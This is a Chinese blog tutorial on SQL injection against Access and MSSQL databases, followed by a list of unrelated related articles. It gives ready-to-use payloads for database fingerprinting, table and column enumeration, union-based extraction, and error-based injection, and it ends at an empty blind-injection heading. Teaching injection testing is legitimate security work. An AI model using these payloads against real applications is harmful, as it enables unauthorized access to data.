SQL注入基础-5

ops/2024/11/14 6:31:09/

一、Access注入

1、asp网站常用数据库:access,mssql

2、access数据库

(1)没有库,没有端口

(2)结构:表--》字段--》数据

3、注入流程:

  • 判断类型
  • 判断表名:遍历、爆破
  • 判断列名
  • 判断列名下的数据长度
  • 查出数据

4、判断是什么数据库

and exists (select * from msysobjects)>0   access

and exists (select * from sysobjects)>0      mssql

5、破解

(1)判断类型:确定是字符型还是数字型

(2)获取表名:and+exists+(select+*+from+表名)

(3)获取列名:and+exists+(select+列名+from+表名)

(4)获取数据长度:and+(select+top+1+len(列名)+from+表名)>5

(5)获取数据:and+(select+top+1+asc(substr(列名,1,2))+from+表名)>110

6、联合注入:需要知道具体表名

参考资料:https://www.cnblogs.com/drkang/p/8627794.html

二、mssql注入

注:严格区分数字型和字符型

1、特殊数据库:master

2、表:

  • sysdatabases:master库中,保存所有库名
  • syobjects:每个数据库都有,保存数据库中的所有表
  • syscolumns:每个数据库都有,保存所有表的字段名

3、思路

  • 判断类型
  • 获取数据库
  • 获取表
  • 获取字段数
  • 获取数据

4、常用(与MySQL不同)

  • db_name():获取当前数据库名
  • host_name():获取计算机名
  • user:获取用户名
  • current_user:获取当前数据库的用户名
  • substring:字符串截取函数
  • @@version:查看数据库版本
  • char:ASCII转字符函数

5、联合查询注入

(1)获取数据库:-1' union select '1','2',db_name()--+

(2)获取表名:-1' union select '1','2',(select quotename(name) from test.dbo.sysobjects where xtype='u' for xml path(''))--+

  • quotename():与MySQL中的group_concat类似,分隔符不同,quotename()使用中括号
  • test:数据库,dbo:用户
  • xtype:指定用户类型

(3)获取字段数:-1' union select '1','2',(select quotename(name) from test.dbo.syscolumns where id=(select quotename(name) from test.dbo.sysobjects where name='表名') for xml path(''))--+

(4)获取数据:-1' union select '1','2',(select top 1 quotename(name) from test.dbo.表名 where  for xml path(''))--+

6、报错注入

(1)convert函数(强制类型转换):' and convert(int,db_name())=1--+

(2)四则运算报错:' and 1/db_name()=1--+  

7、盲注


http://www.ppmy.cn/ops/34076.html

相关文章

Crossplane 实战:构建统一的云原生控制平面

1 什么是 Crossplane Crossplane 是一个开源的 Kubernetes 扩展,其核心目标是将 Kubernetes 转化为一个通用的控制平面,使其能够管理和编排分布于 Kubernetes 集群内外的各种资源。通过扩展 Kubernetes 的功能,Crossplane 对 Kubernetes 集群…

DS:顺序表、单链表的相关OJ题训练(1)

欢迎各位来到 Harper.Lee 的学习小世界! 博主主页传送门:Harper.Lee的博客主页 想要一起进步的uu可以来后台找我交流哦! 在DS:单链表的实现 和 DS:顺序表的实现这两篇文章中,我详细介绍了顺序表和单链表的…

【protobuf】protobuf 开发 (二)

紧接着上一篇文章https://blog.csdn.net/qq_37387199/article/details/137890740 获取丢失的代码 拿到丢失的源代码需要去 Google 的 protobuf GitHub 仓库,地址在 https://github.com/protocolbuffers/protobuf 可以下载压缩包,也可以使用 Git 克隆。…

Mac基于Docker-ubuntu构建c/c++编译环境

编译环境安装和使用被充分验证,如有期望补充的内容欢迎留言评论。 目录 前言 Docker desktop下载安装 修改镜像源 选择ubuntu镜像 docker容器启动 参数说明: 宿主机与docker容器文件共享 宿主机与docker容器拷贝文件 为 Ubuntu 配置 ssh、vim、make 相关工…

Qt 绘图(学习记录)

1. QT 绘图中创建画家类 QPainter提供了高度优化的功能,以完成大多数绘图GUI程序所需的功能。它可以画任何东西,从简单的线条到复杂的形状,如馅饼和和弦。它还可以绘制对齐的文本和像素图。通常,它绘制一个“自然”坐标系&#…

【Micropython Pitaya Lite教程】烧录固件

文章目录 前言一、编译固件源码二、烧录固件总结 前言 MicroPython是一种精简的Python 3解释器,可以在微控制器和嵌入式系统上运行。Pitaya Lite是一款基于ESP32的微控制器开发板,它结合了低功耗、Wi-Fi和蓝牙功能。结合MicroPython和Pitaya Lite&#…

【Python项目】基于opencv的的【疲劳检测系统】

技术简介:使用Python技术、OpenCV图像处理库、MYSQL数据库等实现。 系统简介:用户可以通过登录系统平台实现实时的人脸照片的拍摄和上传,结合上传图像的内容进行后台的图像预处理和运算分析,用户可以通过照片分析界面查看到当前检…

WPF中DispatchHelper

在WPF应用中,Dispatcher 是一个非常重要的概念,它帮助我们在正确的线程(通常是UI线程)上执行代码,这对于需要访问或更新UI元素的任务至关重要。由于WPF应用中的UI只能从UI线程进行访问,因此当你在后台线程上…